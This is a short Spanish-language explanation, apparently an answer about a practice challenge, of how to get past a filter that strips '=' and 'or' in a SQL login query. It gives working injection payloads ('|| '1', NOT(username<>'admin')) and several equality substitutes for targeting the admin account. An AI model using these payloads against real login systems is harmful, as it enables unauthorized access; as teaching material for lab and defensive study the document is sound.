Asumiendo esta definición de lvl2_filter
, que básicamente elimina cualquier ocurrencia de =
y or
hasta que ya no se encuentre, aún debería ser posible usar Operación lógica OR
con ||
en lugar de OR
y una expresión simple que se evalúa como verdadera como:
username: dummy
password: ' || '1
Esto resultaría en:
SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
Para seleccionar un usuario específico, se pueden usar las reglas del álgebra booleana
, donde x=y
=!(x!=y)
:
username: dummy
password: ' || NOT(username<>'admin') AND '1
Esto resultaría en:
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
Aquí <>
es equivalente a !=
pero no contiene un =
.
También hay otras operaciones que uno podría usar para asegurar nombre de usuario es igual a admin
:
username BETWEEN 'admin' AND 'admin'
username LIKE 'admin'
username IN ('admin')
IF(STRCMP(username,'admin'), 0, 1)
CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END
- …